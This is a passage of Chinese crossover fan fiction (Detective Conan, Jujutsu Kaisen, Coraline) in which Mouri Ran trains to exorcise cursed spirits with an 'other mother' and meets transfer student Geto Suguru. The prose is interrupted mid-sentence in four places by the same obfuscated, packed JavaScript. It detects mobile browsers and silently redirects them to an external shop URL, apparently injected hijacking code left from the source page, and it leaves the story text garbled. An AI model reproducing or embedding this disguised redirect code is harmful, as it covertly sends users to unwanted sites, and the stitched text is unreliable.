这次毛利兰进入通道后顺手关上了小门,她想她得和另一个妈妈商量一下把爸爸身上缠着的那个咒灵用相同的办法引进通道消失的事。 毛利兰直到见到另一个妈妈时,她才意识到自己之前全身有多僵硬,她连呼吸都小心翼翼,深怕被那个缠着爸爸的咒灵看出异样,毛利兰一直紧绷的身体和神经,在和另一个妈妈相见后终于放松下来。 毛利兰将爸爸的事告诉另一个妈妈,她送给另一个妈妈的娃娃被毛利兰捡起后就一直抱在怀里,她心里有疑惑,所以在说完爸爸的事后毛利兰没忍住询问另一个妈妈。 “妈妈不喜欢我的礼物吗?” “没有。” 另一个妈妈立刻否定了,但毛利兰觉得另一个妈妈不喜欢这个礼物也没关系,她可以重新送“妈妈”一个礼物。 毛利兰将她的想法告诉另一个妈妈,然而另一个妈妈还是说“没有”,毛利兰知道对于这个娃娃,她确实缝得不怎样,但看另一个妈妈认真的样子,毛利兰觉得另一个妈妈好像真的不是在恭维她? 所以毛利兰又提起另一个问题,为什么爸爸送她的娃娃会出现在另一个妈妈这里? 另一个妈妈告诉她,这个娃娃只是另一个妈妈复刻的。 因为喜欢毛利兰送的礼物,但另一个妈妈又觉得像毛利兰之前说的,另一个妈妈现在有毛利兰送她的娃娃陪着另一个妈妈一起等毛利兰来到这里。 那毛利兰做的“妈妈”棉花娃娃也应该有个“兰”棉花娃娃陪伴,所以另一个妈妈复刻了这个“兰”棉花娃娃。 毛利兰信了,她看着另一个妈妈突然像是想起什么,炫耀似的举起那个“兰”娃娃说—— “......而且妈妈做的这个娃娃还可以动,刚刚就是这个娃娃在陪兰送给妈妈的娃娃玩。”另一个妈妈话声刚落,那个“兰”娃娃就当着毛利兰的面原地起跳翻了一个后空翻。 “好厉害。”看到娃娃的表演,毛利兰非常真诚地鼓起了掌,然后还在惊讶的毛利兰就听见另一个妈妈问出了一个每个孩子都曾经历过的问题。 “兰,更喜欢妈妈亲手做的这个娃娃,还是兰那个爸爸在超市买的娃娃?” 15. 第 15 章 毛利兰说更喜欢“妈妈”亲手做的娃娃,另一个妈妈信了,明明所谓的“两个”娃娃都是另一个妈妈的手笔,她却想要比较,想要听到毛利兰选择她的回答。 即便另一个妈妈因此不得不赶在毛利兰回去前悄悄赶制出那个“不存在”的、毛利小五郎从超市里买的娃娃。 因为时间紧,另一个妈妈直接用娃娃之前的旧身体,也就是因为毛利兰突然回去现实的家,而不得不装作不能移动,被咒灵找到可乘之机划伤肚子的原身体。 衣服则是另一个妈妈从娃娃现在的新身体上扒下来的,而没衣服穿的娃娃则只能暂时穿上了另一个妈妈之前做过的旧衣服,是曾经那个Coraline娃娃穿着的衣服。 为了让Coraline娃娃的衣服能够与兰棉花娃娃合身,另一个妈妈将旧衣服重新进行了裁剪。 她来不及新做一套衣服,因为这个兰棉花娃娃当晚就需要跟着毛利兰回去现实的世界,去帮助毛利兰祓除缠着毛利小五郎的咒灵。 毛利兰对另一个妈妈说过她想要保护“妈妈”,现在毛利兰不仅想要保护“妈妈”,她还想要保护爸爸。 得知咒灵的存在后,意识到咒灵一直就潜伏在他们身边、无差别对所有人伤害后,毛利兰想要保护这些人,她想要保护所有人。 然而另一个妈妈知道没人能够保护所有人,可那是兰的愿望,是那个在她重新缝上左眼的纽扣后会问她“疼不疼”的孩子。她说不出让兰失望的话,她无法不去支持兰的决定,另一个妈妈想—— 起码有她在,她能保护兰。 另一个妈妈是直到毛利兰要领回一个朋友来见她的时候,才真正意识到她原来早就很在乎毛利兰这个孩子了。 她说了那么多谎,她欺骗毛利兰她是所谓的守护灵,她欺骗毛利兰另一个爸爸和另一个工藤新一的死亡真相,她欺骗毛利兰两个兰棉花娃娃只有一个是她做的...... 一个谎要用无数个谎来圆。 而如果毛利兰知道真相,知道她是咒灵,知道她的本来面目,另一个妈妈不知道毛利兰到时会做出怎样的决定,她也不知道她到时又会做出怎样的举动。 然而面对毛利兰的请求,她还是同意了,即便冒着身份泄露的风险。 因为毛利兰那个要领到这里、与她见面的朋友是一位咒术师。 而这一切还要从不久之前说起。 从毛利兰说要保护所有人开始,另一个妈妈就对毛利兰进行了特训,毕竟作为普通人的毛利兰如果要战胜咒灵,首先需要的就是能够让普通人也攻击到咒灵的咒具。 而另一个妈妈恰好会做咒具,更准确点来说是“咒服”。 对于咒灵,另一个妈妈也不完全只是对其秒杀,她还有另外一种缓慢杀死咒灵的方法。 另一个妈妈会对咒灵注入毒素,用蛛丝团团包裹住咒灵,在蛛丝内的咒灵化成水后被另一个妈妈吸收,再重新排出体外变成蛛丝。 这时的蛛丝制造出的衣服就拥有了那个咒灵的咒力,变成了能够对咒灵造成伤害的咒具。 另一个妈妈给毛利兰做了很多衣服,七夕过后就是暑假,暑假期间她要么在教毛利兰新的菜谱,要么就是乐此不疲地和毛利兰玩换装游戏。 不过这中间也曾发生过一段不太愉快的插曲,就是毛利兰的妈妈妃英理在七夕节那天回来了。 另一个妈妈当晚以为毛利兰不会再来到她这里了,但是毛利兰来了。 毛利兰依旧叫她“妈妈”,然而之前顺耳的称呼在另一个妈妈心态转变后,在变成和毛利兰面对妃英理时所叫的一样的称呼后,毛利兰对她这样的称呼只会让另一个妈妈感到不快。 她想毛利兰称呼她为“另一个妈妈”和妃英理区分开来,然而当得到毛利兰“可是,妈妈就是妈妈”的回答后,另一个妈妈就又没了脾气,好在外面那个“争气”的毛利小五郎在第二天就又气走了妃英理。 而之前那个寄生在毛利小五郎身上的咒灵也成了毛利兰的特训对象,那是毛利兰祓除的第一个咒灵。 毛利小五郎并不知道毛利兰和他每日固定的亲子活动是在对抗咒灵,他一直以为他们在玩那种一个人蒙着眼挥舞“武器”,另一个人躲来躲去的游戏。 他是蒙着眼的那个,所以他也就不知道毛利兰移动出击时的真正目标,也就不知道在他蒙着眼的期间,有一个兰形象的棉花娃娃在房子里到处走来走去。 另一个妈妈给毛利兰做的能够伤害咒灵的衣服中,毛利兰常用的还是一捆绷带。那是另一个妈妈第一次做咒具时的试验品。 毛利兰用绷带包裹手、脚、肘部、膝盖等常用来攻击咒灵的部位,学着爸爸曾经教过她的一点柔道技巧来攻击咒灵。 然而毛利兰总感觉这样的攻击方式不适合自己,她也学过电视剧里用剑的武士,用绷带包裹竹刀作为武器,然而使用的效果却并没有比之前更好。 毛利兰总感觉使用竹刀反而限制了她的双手,直到毛利兰在电视上看见有关空手道的比赛。 这个暑假毛利兰很忙,忙到没功夫和新一、园子一起出去玩,她要在道馆学习空手道,每天回家还要进行咒灵特训,做饭的新菜品她也在研究。 自从能够自己做饭后,毛利兰就开始尝试做她自己喜欢的菜品了,另一个妈妈教了她不少,不过另一个妈妈好像更擅长做西餐,毛利兰更想做一些传统的日料,所以她买了菜谱,自己研究。 好在这期间,另一个妈妈和那个会移动的娃娃一直在帮她。 将那个会移动的娃娃领回家的第一天,毛利兰还担心娃娃可能会打不过咒灵,即便另一个妈妈说娃娃很厉害,他们也很厉害,只是那次进入另一个妈妈所处空间的咒灵太强。 另一个妈妈还送给了毛利兰新的纽扣眼罩,纽扣还是之前另一个妈妈的左眼,另一个妈妈将纽扣缝在那种医用眼罩的夹层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033412|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,这样毛利兰戴起眼罩时会方便很多。 而另一个妈妈缺失的左眼则用另一个爸爸消失后留下的纽扣眼睛补上了,另一个工藤新一消失后留下的纽扣眼睛则被给了那个能移动的娃娃。 另一个妈妈是这么告诉毛利兰的,只是毛利兰记得另一个工藤新一消失后似乎只留下一堆衣物?不过也可能她当时哭得太伤心,所以没注意到。 另一个妈妈说因为守护灵彼此之间可以继承对方遗物,所以另一个妈妈也能使用另一个爸爸留下的纽扣和另一个工藤新一留下的纽扣作为眼睛。 所以现在无论娃娃的眼睛,还是毛利兰的纽扣眼罩,本质真正能看见咒灵的其实都是另一个妈妈的眼睛。 毛利兰有自知之明,现在的她太弱了,和缠着爸爸的那个咒灵对抗,都需要娃娃在旁边把关。 一开始那个蜈蚣咒灵其实在发现毛利兰能看见它后的第一时刻就对毛利兰发起了攻击,然后蜈蚣咒灵就被娃娃给揍了。 蜈蚣咒灵一起了想要攻击毛利兰的姿势,就会被娃娃揍,就算咒灵再没有人类的思维能力,它也被揍出条件反射了。 然后蜈蚣咒灵就发现它躲在毛利小五郎身上时就不会被娃娃揍,就这样蜈蚣咒灵和毛利小五郎都成了毛利兰的陪练对象,直到蜈蚣咒灵被毛利兰祓除。 至于每晚毛利兰打开小门后被吸引来的其他咒灵,全被另一个妈妈做成了衣服。 另一个妈妈似乎更擅长做小洋装,总而言之,那段时间毛利兰每天基本是换着花样穿不同衣服去空手道馆,去买菜等等。 而且她还得防着被爸爸看见她穿的衣服,毕竟毛利兰突然多了这么多衣服,毛利小五郎记性再不好,不记得他或者妃英理给毛利兰买过那些衣服,也会发现不对。 而毛利兰认为现在是她在持家,她不想让爸爸觉得她花费了大量金钱在购买衣服上,并且与此同时给爸爸的零花钱却没有上升。 所以在毛利兰仅一个暑假时间从空手道白带级别升到黄带的时候,另一个妈妈给毛利兰做了一套空手道服,那套衣服自然而然成了目前毛利兰最喜欢也是最常使用、穿出去的咒具。 毛利兰知道目前的自己很弱,如果擅自暴露在咒灵面前,让咒灵知道她能够看见它,只会让毛利兰和周围的人因为咒灵的突然暴起攻击而受到伤害。 所以毛利兰平常并不会时刻戴着眼罩,她只是将那个另一个妈妈做的、会移动的娃娃带着身边,当周围有特殊情况时,娃娃会告诉她。 不过娃娃不会说话,它虽然有嘴,但那只是缝上去的装饰物,而娃娃的手也没有手指做不了手势,所以娃娃告诉毛利兰的方式是...... 暑假结束后的第二学期,毛利兰所在的帝丹小学二年级B班来了一名转校生。 而被毛利兰大大方方摆放在课桌上、依靠着书本站立的棉花娃娃,在那名转校生进入教室门后突然毫无征兆地倾斜倒了下来。 16. 第 16 章 夏油杰从小就能看见别人看不见的东西,起初他不太理解自己看见的究竟是什么东西,直到后来他接触到了一款游戏,夏油杰顿悟了—— 原来我是天选训练家。 夏油杰一直期盼着等他到了年龄,选择自己的御三家宠物小精灵,开启全球旅行,进行属于他的集徽章踢馆之路。 然而事情的结果与夏油杰计划的有些偏差,他在五岁那年“不小心”收服了他的第一只“宠物小精灵”。 夏油杰熟知的收服是宠物小精灵和宠物小精灵之间的对决,他的宠物小精灵把对方打得半死,然后他扔出精灵球把对方收服。 然而事实上夏油杰这个自封、但还没有训练家执照的训练家,只是觉得对面太烦,像赶苍蝇一样拍了对面一下,然后那个野生小精灵就碰瓷似的变成了一个黑不溜秋的圆球。 五岁的夏油杰在此之前还没遇到过这种情况,他以为那颗黑球是他的专属精灵球。 于是彼时夏油杰所属的幼儿园就出现了这样的传说,园里来了个天才棒球投手,而夏油杰的父母也信以为真,开始专业培养孩子的兴趣爱好。 然而在别人眼里起范投掷空气的夏油杰,实际是在探索各种扔精灵球的姿势,只是恰巧扔到最后,棒球投手的姿势非常适合而已。 从那个碰瓷夏油杰的宠物小精灵变成精灵球后,夏油杰就在想方设法把已收服的宠物小精灵从精灵球里召唤出来。 然而无论他以怎样的姿势,学着游戏里的训练家抛出精灵球,那个宠物小精灵也从来没有从精灵球里被夏油杰召唤出来过。 之后的日子,研究如何从精灵球里召唤出宠物小精灵成了夏油杰每日一练,即便是幼儿园午休的时候,夏油杰也会偷偷不睡觉研究精灵球,毕竟平常总有人看着,夏油杰不太方便对着“空气”研究。 在没知道自己看见的东西是宠物小精灵前,夏油杰也没意识到别人看不见,他那时候还太小。 等到知道自己是天选训练家后,夏油杰就把他能看见宠物小精灵的事告诉了父母。毕竟以后他大概要离开家正式成为训练家,夏油杰觉得他的父母还是很有必要知道这件事的。 然而父母对此态度良好,只是偶尔会告诫他不要过于沉迷游戏,毕竟那段时间全民都沉迷于在世界的各个地方抓宠物小精灵的手机游戏,而夏油杰本人当时也确实对那款游戏乐此不疲。 不过与其他人不同,夏油杰认为游戏是在为他将来成为天下第一训练家打下理论基础,为此夏油杰拥有很多宠物小精灵相关的游戏卡带和周边。 宠物小精灵作为知名IP,当然不止夏油杰一个孩子痴迷于此,夏油杰所在的幼儿园就有不少孩子有和他一样的爱好。 他们彼此之间会在幼儿园分享收集的图鉴卡,大家也都会互相串门去各自的家一起玩游戏。 某天也不知道是谁突然说了句游戏公司为了防止小孩误食游戏卡带,在游戏卡带上添加了某种物质,总而言之就是尝起来是苦的。 一般这种话题一旦开了头,那所有人肯定都是必尝试的,结果就是那天回去尝试的所有孩子都被刺激得不清,各自喝空了自家冰箱的牛奶,夏油杰也一样。 所以这也不能怪夏油杰在幼儿园午休时间,突发奇想地也想尝尝他的精灵球是什么味道。 就像舔游戏卡带这种事大家都心照不宣地背着人,夏油杰想尝尝精灵球味道这种事自然也心虚得很。 因为每个孩子都觉得这种行为会显得他们很不成熟,即便他们本来就是孩子,但没有哪个孩子喜欢被大人说不成熟,他们渴望被大人认可,与大人平起平坐。 所以在幼儿园老师来查房看哪个小朋友还没有睡觉时,夏油杰才会在紧张之下把已经凑到嘴边、但还没来得及尝试的精灵球直接塞进了嘴里。 他的本意是塞进嘴里躲过老师的检查,然而大概是塞得太急,他一个没注意直接吞了,而精灵球的味道竟然比游戏卡带还要苦,还要难吃和刺激。 人干心虚的事时就容易紧张,而紧张之下就又容易忘事,夏油杰忘了别人其实根本看不见他的精灵球。 然而因为误吞下精灵球,原本已经躲过幼儿园老师查房的夏油杰却主动举起了手。 大是大非面前他还是拎得清的,和每个小时候误食过各种各样奇怪玩具零件的孩子一样,五岁的夏油杰以为自己要死了。 听说夏油杰误食了一个拳头大的球,幼儿园老师也是吓得不轻,立马带夏油杰去了医院,夏油杰的父母也在老师的通知下立马赶往了医院,等所有人齐聚一堂听医生讲解夏油杰刚拍出来的腹部CT,似乎一切又好像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033413|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚惊一场。 影像显示夏油杰的肚子里没有任何异物,夏油杰的父母是相信孩子也相信医院的,所以......可能是消化了? 夏油杰本人也很惊讶,他这么厉害的吗? 最后检查一通,还是没有发现夏油杰身体里的任何异常,医生只能嘱咐夏油杰的父母回去观察几天,如果再有情况再来医院。 那几天夏油杰被父母向幼儿园方面请假在家休养,但介于他确实身体没有问题,所以说是休养,其实就是在家玩了几天。 夏油杰也是在那个时候发现他可以把之前那个碰瓷他的宠物小精灵召唤出来的,联系了一下前因后果,夏油杰自然就得出了他的宠物小精灵需要他吞下精灵球才能召唤出来的结论。 夏油杰对此并没有感到奇怪,毕竟游戏里各种宠物小精灵触发的方式也是千奇百怪。 五岁就拥有了自己的宠物小精灵,夏油杰更认为他是天选训练家了,所以夏油杰也是直接提前就开始了他的宠物小精灵收服之路,然而—— 他的第一只宠物小精灵实在是太弱了。 小苍,你怎么谁也打不过?! 夏油杰的第一只宠物小精灵长得像大号苍蝇,夏油杰没在游戏图鉴里找到和那个宠物小精灵长得一样的,所以夏油杰干脆自己给它取名“小苍”。 其实夏油杰平常看见的宠物小精灵他也没在图鉴里见过,不过介于图鉴一直在更新,夏油杰也就认为他见识到的是还没被收进图鉴的新品种,而这些只是进一步让彼时的夏油杰相信他是天选训练家。 作为一个训练家,夏油杰时刻谨记训练家格言,即收服宠物小精灵是宠物小精灵之间的战斗,训练家是不能插手干涉、攻击对面宠物小精灵的,野生的也不行。 因为“小苍”完全打不过其他宠物小精灵,所以直到夏油杰七岁,他还没有收服到第二只宠物小精灵。 期间夏油杰也很努力地训练小苍,盼望着小苍可以进化升级,然而什么都没有发生,小苍还是那个样子,直到夏油杰的父母为了让夏油杰能够参加更好的棒球培训,而搬家到了米花町。 因此转学进入帝丹小学二年级B班的夏油杰,遇到一个和他一样、能看见“宠物小精灵”的女生,但—— 什么叫小苍是咒灵,不是宠物小精灵?! 17. 第 17 章 透过娃娃的眼睛看着毛利兰的时候,另一个妈妈会先评判毛利兰身边出现的咒灵等级,在筛选之后才将周围有咒灵这种事让娃娃透过肢体语言告诉毛利兰。 如果另一个妈妈判断凭毛利兰目前的实力无法对抗她所在周围的咒灵,另一个妈妈就不会告知毛利兰周围有咒灵这种事,因此无法自主看见咒灵的毛利兰也就不会被周围咒灵选做立刻攻击的目标。 即便有咒灵选择缠上毛利兰,有娃娃在也能解决。 而如果凭娃娃的实力还无法祓除那个咒灵,另一个妈妈则会先让娃娃不动声色,在夜晚毛利兰通过小门来找她的时候,另一个妈妈则就会把那个企图伤害毛利兰的咒灵引进她的领域做成衣服。 不过这些她从来没有告诉过毛利兰,她想如果毛利兰知道每晚毛利兰打开小门时都会引来咒灵,毛利兰一定会自责。 或许另一个妈妈会因此失去毛利兰每天都来与她相处的机会,所以这件事她无论如何也不准备告诉毛利兰。 另一个妈妈通过娃娃的纽扣眼睛筛选告知毛利兰的咒灵,一般都是比毛利兰目前实力还要弱很多的,另一个妈妈不想看见毛利兰受伤,所以她筛选咒灵的目标都是能让毛利兰无伤祓除的。 而那个一眼就能看出弱到没边、长得像大号苍蝇的咒灵就是很好的目标。 因为那个“苍蝇”会飞,所以祓除那个咒灵能让毛利兰得到锻炼,但又因为太弱,祓除它又不会让毛利兰受伤,总而言之是非常完美的目标。 然而在棉花娃娃体内、另一个妈妈那个脱离身体的手在跟随另一个妈妈的意志倾斜倒下给毛利兰周围有咒灵信号的时候,另一个妈妈没想到紧随那个弱鸡咒灵后、进来教室的孩子会是一个咒术师。 然而在得到娃娃给出的信号后,毛利兰已经从口袋里掏出眼罩戴了起来,另一个妈妈无法再撤回之前的信号。 “你眼睛不舒服吗,兰?” 作为毛利兰的同桌和好友,铃木园子在转校生站在讲台上自我介绍时,适时地和毛利兰说悄悄话表达她的疑惑和关心。 “嗯,有点。”左眼戴着白色医用眼罩的毛利兰原本在盯着讲台上的那个咒灵,听到铃木园子凑到她耳边悄悄问她,毛利兰稍微偏过头,也小声地回答了铃木园子。 毛利兰说谎了,白色医用眼罩的夹层里缝着另一个妈妈的纽扣眼睛,她在透过另一个妈妈的眼睛看咒灵,可她又不能和园子说实话。 毛利兰之前也有过想把有关咒灵的事告诉父母和朋友的想法,但另一个妈妈说如果一个无法看见咒灵的普通人得知咒灵的存在,只会让那个人产生更加不安的情绪。 因为看不见,只会更加焦虑紧张,而这些产生的负面情绪只会吸引更多的咒灵来到那个人的身边。而一个无法看见、无法攻击咒灵的普通人,面对这种情况就只能被动接受咒灵的伤害。 所以还是保持普通人不知道咒灵存在的现状更好,毛利兰可以帮助祓除他们身边的咒灵,但最好不要干预别人的认知,不然可能会造成相反的后果。 毛利兰觉得另一个妈妈说的很有道理,而且像她爸爸、还有新一,原本就是不相信鬼神之类存在的,如果毛利兰想要让他们相信就最起码得让他们看见。 而另一个妈妈已经把她的一颗纽扣眼睛给了毛利兰,只有毛利兰能通过那颗纽扣透过另一个妈妈的眼睛看见咒灵,其他人看不见。 如果想其他人能够看见,就需要另一个妈妈牺牲另外的纽扣,毛利兰不想让另一个妈妈因为自己再牺牲眼睛。 直到转校生自我介绍结束坐到他的位置上,毛利兰还在盯着那个长得像苍蝇的咒灵看,苍蝇咒灵似乎是跟着转校生的,毛利兰想起之前那个缠着她爸爸的蜈蚣咒灵。 毛利兰和铃木园子的位置在教室中央的倒数第二排,而转校生的位置在靠窗位置的最后一排,毛利兰跟随转校生的走位变动,势必要转过头才能看到转校生最后落座的位置。 而一直盯着毛利兰背影、坐在毛利兰身后一个位置的工藤新一自然也就注意到了毛利兰的动作。 老师已经开始讲课了,工藤新一嘴里叼着铅笔,盯着坐在他前方的毛利兰的背影,却还在想毛利兰的事。 他感觉毛利兰最近怪怪的,不是之前父母刚分居时那种沉闷,而是一种毛利兰有事瞒着他的感觉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033414|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 工藤新一单独找铃木园子聊过,整个暑假兰既没有来他家找他玩,也没有和园子一起出去玩。 工藤新一也因此去过毛利家几次,不过都没见到毛利家的任何人。毛利小五郎在外面拉活、发传单做他的侦探广告的事工藤新一知道。 之前毛利兰拒绝他留宿建议的时候,工藤新一把毛利小五郎生病了这件事,在他妈妈藤峰有希子调侃他去毛利家留宿吃了闭门羹的时候也就告诉了藤峰有希子。工藤新一知道他妈妈一定会因此联系兰妈妈妃英理。 虽然那天工藤新一是看着铃木园子将毛利兰的愿望纸卡“希望妈妈早点回家”拍照发给妃英理的,但工藤新一觉得再加一个让妃英理回家的理由也不是不可以,不过工藤新一知道生病的毛利小五郎还能把妃英理再气走就是后来的事了。 后来工藤新一终于在暑假期间堵到了白天没人、傍晚才有人回来的毛利家的人。 工藤新一一直坐在毛利家楼梯间的台阶上等到傍晚,他没想到先回来的人竟然是毛利小五郎,至此工藤新一才得知毛利兰报名了空手道的培训班。 因为报名时间不巧,空手道考级就在最近,毛利兰几乎白天整个时间都泡在空手道道馆训练,工藤新一记得当时毛利小五郎似乎说过,他明明建议小兰时间赶不上考级,可以等下次考试的,然而毛利兰似乎有非常想要短时间变强的理由。 工藤新一回想老师正式开始讲课前,那个转校生还在讲台上自我介绍时,毛利兰突然拿出医用眼罩戴了起来。 是空手道训练时受伤了吗?还是讲台上那个人她认识?戴上眼罩是为了避免被认出来,还是为了避免认不出来?什么时候认识的,为什么他不知道?是在空手道道馆认识的吗...... 上课期间坐在毛利兰后方的工藤新一自然能看见、数出来毛利兰回头了多少次,而毛利兰这些回头次数里大部分都是在看向转校生的方向。 工藤新一将嘴里铅笔的笔头咬出牙印,他不喜欢这种在有关兰的事上产生他预料之外的情况。 所以在到了下课时间,毛利兰前脚追着转校生离开教室,工藤新一后脚也就跟了上去。 18. 第 18 章 课间休息时间走廊上的学生很多,毛利兰是紧跟着新来的转校生夏油杰走出教室门的。 她没有选择打开书包,把一直随身携带的、另一个妈妈做给她的空手道服拿出来穿上,没有能够协助毛利兰攻击到咒灵的咒具,毛利兰作为普通人甚至无法触碰到咒灵。 但毛利兰觉得她突然穿上空手道服实在是太引人注意了,肯定势必要被园子和一众同学包围着问为什么突然穿上空手道服,所以毛利兰在跟着夏油杰出来前,选择直接抓起课桌上她原本就摆放着的娃娃。 毛利兰无法攻击到咒灵,但娃娃可以。 虽然为了不被别人知晓娃娃能够移动这件事,娃娃在陪在毛利兰身边时总是尽量保持着不能动,但毛利兰认为她可以将娃娃作为“武器”直接把那个跟着夏油杰的咒灵拍下来,就像用“苍蝇拍”拍苍蝇一样。 抓着娃娃的脚做挥舞动作的时候毛利兰没想太多,她觉得走廊上这么多人,应该没人会注意到她的动作,所以毛利兰在那个苍蝇咒灵飞的高度稍微低一点之后,就抓住机会直接用娃娃把苍蝇咒灵拍了下来。 不过苍蝇咒灵并没有滚到地上,而是掉进了夏油杰的怀里。 夏油杰在感受到背后有“风”落下时就转过身了,正好接到他突然掉落的宠物小精灵,夏油杰双手抱着他的宠物小精灵小苍,把小苍护在怀里,夏油杰皱着眉注视着这个攻击他宠物小精灵的奇怪的人。 转校生能碰到咒灵? 毛利兰第一次遇到这种情况,她忍不住在苍蝇咒灵和夏油杰之间来回扫视,她目前所知的唯一能看到咒灵、碰到咒灵的“人”是另一个妈妈,但另一个妈妈是守护灵,那夏油杰也是...... 毛利兰的视线太明显,夏油杰此时也意识到了—— “你也能看见?” 不需要对方彻底说清楚能看见什么,毕竟在这种情况下实在是太明显了,所以毛利兰点了点头。 夏油杰却像恍然大悟一样,他看见毛利兰手里抱着的那个娃娃,那个娃娃和夏油杰平常见到的宠物小精灵虽然有些不一样,但夏油杰能感觉到那个娃娃是和他的宠物小精灵一样的存在,也就是说对方的宠物小精灵是她的娃娃。 原来那个女生是要找他进行宠物小精灵决斗吗? 夏油杰也是第一次遇到这种情况,在此之前他还从来没遇到过其他的训练家,他以为是他的年龄还小的缘故,但对面那个女生明显是和他一样的年龄,所以他是也遇到一个“天才训练家”了? 那这场决斗他肯定要接受,所以夏油杰告诉那个女生—— “对了,你叫什么?” “毛利,毛利兰。” “好的毛利,我们放学后操场见。” 夏油同学这个语气怎么好像在下挑战书? 夏油杰抱着咒灵离开的方向是男厕所,毛利兰也不好继续跟上去。 毛利兰对于目前这件事的走向完全不理解,她记得一开始她只是想趁夏油同学没注意,帮助夏油同学祓除咒灵而已。 难道是因为她发现了夏油同学的秘密?难道夏油同学真的不是人?是类似另一个妈妈一样的守护灵? 毛利兰很茫然,回到教室后看见也重新回到教室的夏油杰就更茫然了,那个缠着夏油杰的苍蝇咒灵似乎不见了。 之前悄悄跟着毛利兰离开教室的工藤新一当然也听到了转校生夏油杰说的那句“放学后操场见”,所以放学后他又再次悄悄跟了上去。 只是这次的目标地点操场太空了,工藤新一唯一能找到躲藏的掩体也和毛利兰或者夏油杰的位置有一段距离,他只能看见毛利兰似乎和夏油杰说了什么,但却听不到他们说话的具体内容。 躲在路边装饰草丛里的工藤新一因此很烦,并当机立断决定回去就开始学习唇语。 所以一直焦躁着听不到毛利兰和夏油杰在说什么话的工藤新一没有发现,就在他躲藏的路边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033415|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装饰草丛的另一边,铃木园子也在。 其实铃木园子从工藤新一在今天第一次跟着毛利兰离开教室的时候就也跟上去了,只是没有任何人发现。 和用推理逻辑想要推理出毛利兰的想法、却没有推理出来能够说服自己的准确答案,所以想要跟上去发现真相的工藤新一不同,铃木园子其实完全不知道发生了什么。 但铃木园子的直觉告诉她,无论是转校生夏油杰还是毛利兰或者工藤新一,这三个人之间肯定有猫腻,有事关兰的热闹看,她铃木园子必须得跟上去瞧瞧。 * “你说小苍是咒灵,不是宠物小精灵?” 夏油杰原本以为对方找他是和他决斗来的,结果对方是来重塑他的世界观的。 目前夏油杰已知的坏消息是他的“宠物小精灵”根本没有进化这个途径,他成不了宠物小精灵训练家了,他的精灵球也要改名叫咒灵球了。 但对于夏油杰来说还是有一些好消息的,那就是他其实早就手痒想去揍那些“小苍”曾经打不过的咒灵了,再也不需要遵守训练家格言,以后他可以和小苍一起正大光明地群殴对面。 所以面对宠物小精灵突然变成咒灵的事实,夏油杰也没有那么难以接受。 可能还是有那么一点吧,不过没关系,他可以先从去揍其他咒灵身上获得成就感来暂时忘记他成不了宠物小精灵训练家的悲伤。 互相解释清楚后,毛利兰自然也就没再继续跟着夏油杰,只是两人分别后毛利兰却还是在想夏油杰的事。 从夏油杰的讲述里,夏油杰毋庸置疑是个人类,他有他的家庭和生活轨迹,但夏油杰却像另一个妈妈一样能看见咒灵、对咒灵造成伤害。 毛利兰不知道像夏油杰这种情况的人类是怎么回事,她决定回去问问另一个妈妈,虽然另一个妈妈并不一定知道,毕竟之前另一个妈妈也从来没有告诉过毛利兰,任何有关像夏油杰这种情况的人类的信息。 19. 第 19 章 第二天,毛利兰像往常一样和铃木园子、工藤新一一起上学,到达教室门口的时候,气氛突然变得很微妙。 夏油同学早早到校已经坐在他的位置上,此时正盯着进入教室的毛利兰看,似乎是有事要找她? 而原本和毛利兰一起进入教室的其他两个人自然也注意到了夏油杰的眼神,毕竟此时教室里还没有来多少学生。 工藤新一是隐晦地在毛利兰和夏油杰之间来回看了一眼,而铃木园子则是大大方方地露出看热闹的表情,等坐到座位上后,作为毛利兰同桌的铃木园子就已经按捺不住开始对毛利兰窃窃私语。 然而从铃木园子的诉说中,毛利兰自认为还没有铃木园子来得了解她们这位新同学。 从昨天与夏油杰的互相解释里,毛利兰只知道夏油杰与咒灵相关的那部分人生,她还是从铃木园子的告知中才得知,夏油杰无论在原来的学校还是刚转学来的帝丹都很受欢迎。 